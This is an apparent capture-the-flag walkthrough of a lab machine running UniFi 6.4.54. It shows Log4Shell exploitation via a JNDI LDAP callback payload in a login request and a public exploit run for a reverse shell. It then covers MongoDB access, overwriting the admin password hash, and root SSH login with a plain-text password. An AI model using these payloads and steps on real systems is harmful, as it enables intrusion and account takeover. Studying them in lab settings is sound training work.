MACHINE - UNIFIED

IP: 10.129.96.149

Type: Linux

OPEN PORTS

```
$ nmap -sVC -T4 -Pn -p- {IP}
```

- [1] 22/tcp ssh **OpenSSH 8.2p1**
- [2] 6789/tcp ibm-db2-admin?
- [3] 8080/tcp http-proxy

1. Might be redirecting requests
2. Did not follow redirect to http://{IP}:8443/manage

- [4] 8443/tcp ssl/nagios-nsca **Nagios NSCA**

1. Requested resource was `/manage/account/login?redirect=%2Fmanage`

INVESTING THE SITE

- Opening `http://{IP}:8080/` being redirected to `http://{IP}:8443/manage/account/login?...`
- Found software named **UniFi 6.4.54** (JAVA backend)

> *UniFi* is a community of wireless access points, switches, routers, controller devices, VoIP phones, and access control products. It can be used for the corporate network and also for the home network. An Unifi network controller manages all the equipment in the UNIFI network.

- There is a CVE CVE-2021-44228 releated to UniFi
- The vulnerability is a *Log4J Remote Code Execution*

> *CVE-2021-44228*: Apache Log4j2 2.0-beta9 through 2.15.0 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI releated endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup subtitution is enabled.

- More on: https://www.hackthebox.com/blog/Whats-Going-On-With-Log4j-Exploitation

> *JNDI* (Java Naming and Directory Interface) is the naming service used to register services in distributed contexts and recall them using a mnemonic name. This is a register that maintains the association between a name and an application server service in a data structure. JNDI managed objects are stored in binding files. This storage can be based on file systems or LDAP (Lightweight Directory Access Protocol)

> *LDAP* (Lightweight Directory Access Protocol) is a mature, flexible, and well supported standards-based mechanism for interacting with directory servers. It's often used for authentication and storing information about users, groups, and applications, but an LDAP directory server is a fairly general-purpose data store and can be used in a wide variety of applications. In LDAP all informations are encrypted and transmitted using BER (Basic Encoding Rules).

- Interesting port for LDAP are

1. 389/TCP Clear-Text connection
2. 636/TCP Encrypted Connection

LOG4J VULNERABILITY EXPLOIT

- Let's try to use BurpSuite as the middle-man to see requests
- Set up a Manual proxy on localhost:8080
- When given credentials to access this is the request

```
POST /api/login HTTP/1.1
Host: 10.129.149.239:8443
Content-Length: 69
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json; charset=utf-8
Accept: */*
Origin: https://10.129.149.239:8443
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.129.149.239:8443/manage/account/login?redirect=ldap
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close

{"username":"admin","password":"admin","remember":false,"strict":true}
```

- We can see that the request is done to `/api/login`

- We can send the request to the Repeater to see how it behaves with different requests
- To exploit the Log4J vulnerability with JNDI we need to put a specific payload

```
${jndi:ldap://{malicious-IP}:{remote-port}/any}
```

> In this case, Log4j will try to execute code named 'any' hosted by 'malicious-IP' on port 'remote-port' using the LDAP communiction protocol. If we attempt to use this payload and we have a netcat listener up and running we will receive a connection.

- To this end let's put this payload on the `remember` request parameter
- Hence, we forge a new request

```
POST /api/login HTTP/1.1
Host: 10.129.149.239:8443
Content-Length: 69
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Content-Type: application/json; charset=utf-8
Accept: */*
Origin: https://10.129.149.239:8443
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://10.129.149.239:8443/manage/account/login?redirect=ldap
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=1, i
Connection: close

{
    "username":"admin",
    "password":"admin",
    "remember":"${jndi:ldap://{MyIP}/any}",
    "strict":true
}
```

- We obtain a response

```
HTTP/1.1 400
vary: Origin
Access-Control-Allow-Origin: https://10.129.149.239:8443
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Access-Control-Allow-Origin
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 64
```

```
Date: Fri, 19 Apr 2024 08:06:45 GMT
Connection: close

{"meta":{"rc":"error","msg":"api.err.InvalidPayload"},"data":[]}
```

- This shows an error but indeed it is executing the payload
- We can use `tcpdump` to see the requests and responses

```
$ sudo tcpdump -i tun0 port 389

10:06:45.345009 IP 10.129.149.239.50242 > 10.10.16.167.ldap: Flags [S]
10:06:45.345093 IP 10.10.16.167.ldap > 10.129.149.239.50242: Flags [R.]
```

- It is trying to connect back to us on the LDAP port showing that it is vulnerable
- There is a repo: https://github.com/puzzlepeaches/Log4jUnifi
- This repository contains a Python exploit for the Log4J vulnerability of UniFi
- As usual let's start a Netcat listener, then execute the exploit

```
$ git clone https://github.com/puzzlepeaches/Log4jUnifi
$ cd Log4jUnifi
$ python3 exploit.py -u http://{IP}:8443 -i {MyIP} -p {remote-port}

script /dev/null -c bash
shell>
```

CONNECTION TO THE MONGODB DBMS

- Now that we have a shell inside the system let's list all the running processes

```
shell> ps -aux
```

- We can see that there is a running process named `mongo` on port 27117
- MonoDB is a really famous DataBase Management System
- Let's connect to the DBMS

```
shell> mongo localhost:27117
mongo> show dbs
mongo> use ace
mongo> show collections
mongo> db.admin.find()

...
```

```
"_id" : ObjectId("61ce278f46e0fb0012d47ee4"), "name" : "administrator",
"email" : "administrator@unified.htb",
"x_shadow" : "$6$Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0Pv" \
"Uc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4."
...
```

- The previous is an entry referring the administrator password
- Since we have access to the database, we could change that password
- To do this, we need to create the corresponding SHA-512 Hash

```
$ mkpasswd -m sha-512 Password123
$6$/JqfWcsd4dtGIXc6$Cgp2uRUwkcnqG.DKlRbZba72.3FRU3ofeU5HPGenwMXQtnW
Dhe4y6AJFxKCTF/uieloRvqGPI7zydd94fS.C51
```

- Now, we can update the password for the administrator

```
mongo> db.admin.update({"_id" : ObjectId("61ce278f46e0fb0012d47ee4")}, \
    {$set:{"x_shadow" : "$6$/JqfWcsd4dtGIXc6$Cgp2uRUwkcnqG.DKlRbZba72.3F" \
    "RU3ofeU5HPGenwMXQtnWDhe4y6AJFxKCTF/uieloRvqGPI7zydd94fS.C51"}});
```

LOGIN AS THE ADMINISTRATOR

- Now that we have changed the password, let go back to the site and login as the admin
- Once we are logged in go to Settings and find the SSH login

```
USERNAME: root
PASSWORD: NotACrackablePassword4U2022
```

- Finally, use SSH to login

```
$ ssh root@{IP} -p 22
$ cat /root/root.txt
```